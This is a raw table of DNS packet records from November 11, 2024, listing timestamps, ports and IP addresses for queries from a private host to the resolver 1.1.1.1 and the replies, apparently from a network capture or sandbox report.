Nov 11, 2024 18:50:38.724001884 CET	61578	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:38.724322081 CET	59720	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:38.728008032 CET	53	60550	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:38.728070021 CET	53	59500	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:38.729808092 CET	53	62328	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:38.730717897 CET	53	51095	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:38.730734110 CET	53	56622	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:38.731390953 CET	53	59720	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:38.731894016 CET	49666	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:38.732409000 CET	53	49362	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:38.732464075 CET	53	56259	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:38.732677937 CET	53	54518	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:38.732839108 CET	53	61088	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:38.732891083 CET	53	59979	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:38.733707905 CET	53	50418	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:38.733740091 CET	53	62734	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:38.734276056 CET	53	61578	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:38.748461008 CET	53	64604	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:38.749984980 CET	53	49666	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:38.751986027 CET	53	51649	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:38.754589081 CET	53	64485	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:38.759948015 CET	53	63221	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:38.776287079 CET	53239	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:38.776494026 CET	62616	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:38.776808023 CET	53002	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:38.777476072 CET	51724	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:38.778069019 CET	54917	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:38.778481007 CET	52417	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:38.784154892 CET	57795	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:38.784334898 CET	60948	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:38.784554958 CET	54621	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:38.785152912 CET	61713	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:38.786359072 CET	53	62616	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:38.786731958 CET	53	53002	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:38.787091017 CET	53	54917	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:38.790055990 CET	53	53239	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:38.793560028 CET	53	57795	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:38.795238018 CET	53	51724	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:38.795624018 CET	53	61713	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:38.801676035 CET	54681	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:38.807682991 CET	52764	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:38.808665991 CET	52455	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:38.811620951 CET	53	54681	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:38.815967083 CET	53	54621	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:38.816245079 CET	53	60948	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:38.816545963 CET	49814	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:38.816962004 CET	49998	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:38.817842960 CET	60700	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:38.817909956 CET	60126	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:38.821347952 CET	50829	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:38.821791887 CET	64852	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:38.822055101 CET	59693	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:38.822360039 CET	52208	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:38.822751045 CET	65458	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:38.822988033 CET	53547	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:38.823146105 CET	51184	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:38.823164940 CET	63379	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:38.823345900 CET	62864	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:38.823406935 CET	64357	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:38.823664904 CET	64330	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:38.823869944 CET	51554	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:38.824050903 CET	53960	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:38.825711966 CET	57378	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:38.825942039 CET	53918	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:38.826180935 CET	57150	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:38.826210022 CET	61853	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:38.826420069 CET	51372	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:38.826628923 CET	53	52455	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:38.826719046 CET	53	49814	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:38.829051018 CET	52169	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:38.830120087 CET	59712	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:38.830918074 CET	53	50829	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:38.832379103 CET	53	51184	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:38.832628965 CET	53	59693	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:38.833538055 CET	53	64357	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:38.834412098 CET	53	62864	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:38.834923029 CET	53	53918	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:38.836122036 CET	53	61853	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:38.836536884 CET	53	51372	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:38.837661982 CET	53	52169	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:38.837672949 CET	53	52764	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:38.841017962 CET	53	64852	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:38.848340034 CET	53	49998	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:38.849076033 CET	53	60700	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:38.849087000 CET	53	60126	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:38.852914095 CET	53	65458	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:38.853121042 CET	53	53547	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:38.853380919 CET	53	52208	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:38.854171991 CET	53	51554	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:38.854479074 CET	53	64330	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:38.856312990 CET	53	57378	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:38.861481905 CET	53	59712	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:39.019974947 CET	53	63379	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:39.085916996 CET	53	52417	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:39.133541107 CET	53	57150	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:39.241190910 CET	53	53960	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:39.665096998 CET	52245	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:39.711780071 CET	58554	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:40.033514023 CET	53	58554	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:40.253107071 CET	53	52245	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:40.846554041 CET	55080	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:40.849725962 CET	56597	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:40.852710009 CET	56694	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:40.854630947 CET	56226	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:40.855052948 CET	50836	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:40.859086990 CET	53	56597	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:40.862004042 CET	53	56226	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:40.864429951 CET	58344	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:40.864454985 CET	52368	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:40.874064922 CET	53	52368	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:40.877865076 CET	53	55080	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:40.878360987 CET	64228	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:40.878458023 CET	55546	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:40.882123947 CET	54532	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:40.883652925 CET	52879	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:40.884468079 CET	63792	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:40.885392904 CET	53	56694	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:40.886126995 CET	53	50836	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:40.888263941 CET	59178	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:40.889532089 CET	59779	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:40.891047001 CET	51266	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:40.891925097 CET	51736	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:40.892970085 CET	60743	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:40.893501997 CET	65163	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:40.893836975 CET	53	52879	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:40.894618988 CET	53	63792	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:40.895736933 CET	53	58344	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:40.897219896 CET	53	59779	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:40.900852919 CET	53	59178	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:40.901065111 CET	53	54532	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:40.902268887 CET	53	51736	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:40.902460098 CET	53	65163	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:40.902935028 CET	53	60743	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:40.908890009 CET	53	64228	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:40.909881115 CET	53	55546	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:40.923804998 CET	53	51266	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:40.928540945 CET	62279	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:40.931596994 CET	52756	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:40.934118986 CET	53821	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:40.935231924 CET	54958	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:40.937438965 CET	51203	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:40.938103914 CET	53	62279	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:40.940751076 CET	53	52756	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:40.941703081 CET	65128	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:40.942559958 CET	55269	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:40.945310116 CET	53	53821	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:40.945847034 CET	53	54958	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:40.947482109 CET	53	51203	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:40.952271938 CET	53	65128	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:40.952439070 CET	53	55269	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:40.954993010 CET	49909	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:40.955228090 CET	64980	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:40.955557108 CET	61496	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:40.955606937 CET	55203	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:40.955849886 CET	54357	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:40.956105947 CET	52452	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:40.956151962 CET	61434	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:40.956366062 CET	63713	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:40.956552029 CET	54392	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:40.965367079 CET	53	55203	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:40.965620995 CET	53	64980	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:40.966114998 CET	53	61434	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:40.966145992 CET	53	61496	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:40.968584061 CET	53	54392	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:40.972719908 CET	55379	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:40.973006964 CET	63981	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:40.973169088 CET	54887	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:40.973627090 CET	65117	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:40.974133015 CET	55339	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:40.974469900 CET	55709	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:40.974797010 CET	49440	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:40.974936962 CET	64488	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:40.975137949 CET	60590	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:40.975156069 CET	56253	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:40.975382090 CET	62881	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:40.975414038 CET	59110	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:40.975651979 CET	50350	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:40.975842953 CET	55150	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:40.975895882 CET	62666	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:40.978198051 CET	57896	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:40.981997013 CET	50191	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:40.982465029 CET	62128	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:40.982949018 CET	61206	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:40.983145952 CET	65165	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:40.983346939 CET	53	54887	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:40.983613968 CET	53	55379	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:40.983897924 CET	53	55339	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:40.983910084 CET	59216	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:40.984385967 CET	59314	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:40.984838963 CET	53	65117	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:40.984858990 CET	53	60590	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:40.984911919 CET	53	50350	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:40.984927893 CET	53	55709	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:40.985356092 CET	53	49909	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:40.985451937 CET	53	55150	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:40.985539913 CET	53	56253	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:40.985955954 CET	53	62666	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:40.987071037 CET	53	52452	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:40.987121105 CET	53	54357	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:40.987795115 CET	53	63713	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:40.989557028 CET	53	57896	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:40.989803076 CET	59313	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:40.990391970 CET	49893	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:40.991166115 CET	58200	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:40.991806984 CET	63206	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:40.993470907 CET	53	65165	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:40.993537903 CET	53	62881	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:40.993669033 CET	53	59314	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:40.994172096 CET	57084	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:40.996511936 CET	50115	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:40.996697903 CET	61986	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:40.996926069 CET	55338	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:40.999247074 CET	53	59313	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:41.002078056 CET	53	63206	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:41.004019022 CET	53	63981	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:41.004405975 CET	53	57084	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:41.004853010 CET	53	55338	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:41.005507946 CET	53	64488	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:41.005548000 CET	53	50115	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:41.006313086 CET	53	49440	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:41.006859064 CET	53	59110	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:41.008867979 CET	53	49893	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:41.013483047 CET	53	50191	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:41.013509989 CET	53	62128	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:41.014525890 CET	53	59216	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:41.015343904 CET	53	61206	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:41.021820068 CET	53	58200	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:41.027652025 CET	53	61986	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:41.234852076 CET	60043	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:41.235184908 CET	52612	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:41.236793995 CET	50881	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:41.238014936 CET	61153	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:41.239157915 CET	50870	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:41.241957903 CET	53	60043	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:41.244808912 CET	49632	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:41.245958090 CET	53	52612	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:41.247828007 CET	53	61153	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:41.248373032 CET	49472	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:41.248421907 CET	53	50881	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:41.248509884 CET	53305	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:41.250144005 CET	57667	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:41.253635883 CET	62049	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:41.253842115 CET	53	49632	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:41.254096985 CET	56068	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:41.259093046 CET	53	53305	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:41.260188103 CET	53	57667	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:41.263886929 CET	53	62049	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:41.264724970 CET	53	56068	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:41.266858101 CET	55993	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:41.267354965 CET	59580	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:41.267582893 CET	63710	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:41.267913103 CET	59866	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:41.269764900 CET	53	50870	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:41.276988983 CET	53	59580	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:41.277352095 CET	53	59866	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:41.277581930 CET	62324	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:41.277664900 CET	53	55993	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:41.278892040 CET	53	63710	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:41.280472040 CET	53	49472	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:41.281344891 CET	52726	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:41.284965992 CET	55329	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:41.285099983 CET	53528	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:41.286967993 CET	53	62324	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:41.288749933 CET	51969	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:41.289174080 CET	60948	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:41.289712906 CET	61985	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:41.290177107 CET	53	52726	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:41.291265965 CET	57878	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:41.291565895 CET	52676	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:41.295891047 CET	55497	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:41.296145916 CET	53059	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:41.296442032 CET	53378	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:41.296742916 CET	53	53528	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:41.299664021 CET	51157	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:41.299783945 CET	58445	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:41.299791098 CET	53	60948	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:41.300204992 CET	53	61985	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:41.300323963 CET	62161	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:41.300569057 CET	51907	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:41.300992012 CET	55960	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:41.301028013 CET	60304	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:41.304755926 CET	64354	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:41.305149078 CET	53	53378	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:41.305510998 CET	58333	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:41.306241035 CET	56613	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:41.307378054 CET	53	58445	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:41.310481071 CET	53	55960	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:41.310504913 CET	63945	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:41.311197042 CET	62621	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:41.311443090 CET	53	51157	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:41.311589956 CET	63072	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:41.311762094 CET	53961	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:41.311913967 CET	50339	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:41.312380075 CET	53	64354	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:41.312455893 CET	53	60304	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:41.313069105 CET	63957	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:41.314946890 CET	53	55329	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:41.317311049 CET	57666	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:41.317425013 CET	53	56613	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:41.318208933 CET	64942	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:41.318696976 CET	64456	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:41.318867922 CET	53	51969	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:41.318886042 CET	53	63072	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:41.319479942 CET	61744	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:41.320086956 CET	63176	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:41.320265055 CET	53	63957	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:41.320868015 CET	55262	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:41.321221113 CET	53	53961	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:41.321660995 CET	53	50339	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:41.321670055 CET	53	63945	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:41.323580980 CET	53	52676	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:41.323590040 CET	53	57878	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:41.325305939 CET	53	58333	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:41.325911999 CET	53	64456	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:41.327058077 CET	53	55497	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:41.328176975 CET	53	57666	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:41.328356028 CET	53	53059	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:41.328665018 CET	59622	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:41.330409050 CET	56724	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:41.331065893 CET	53	63176	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:41.331397057 CET	53	62161	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:41.331448078 CET	51922	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:41.331665993 CET	58518	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:41.331839085 CET	59318	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:41.331888914 CET	53	51907	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:41.332329035 CET	64644	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:41.332379103 CET	49465	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:41.332406044 CET	53	55262	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:41.341017962 CET	53	56724	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:41.342058897 CET	53	59318	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:41.342128992 CET	53	62621	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:41.342292070 CET	53	51922	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:41.342704058 CET	53	49465	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:41.346976042 CET	53	64644	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:41.349572897 CET	53	64942	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:41.349798918 CET	53	58518	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:41.350027084 CET	51293	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:41.351305008 CET	53	61744	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:41.355459929 CET	52236	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:41.359119892 CET	53	59622	1.1.1.1	192.168.2.6
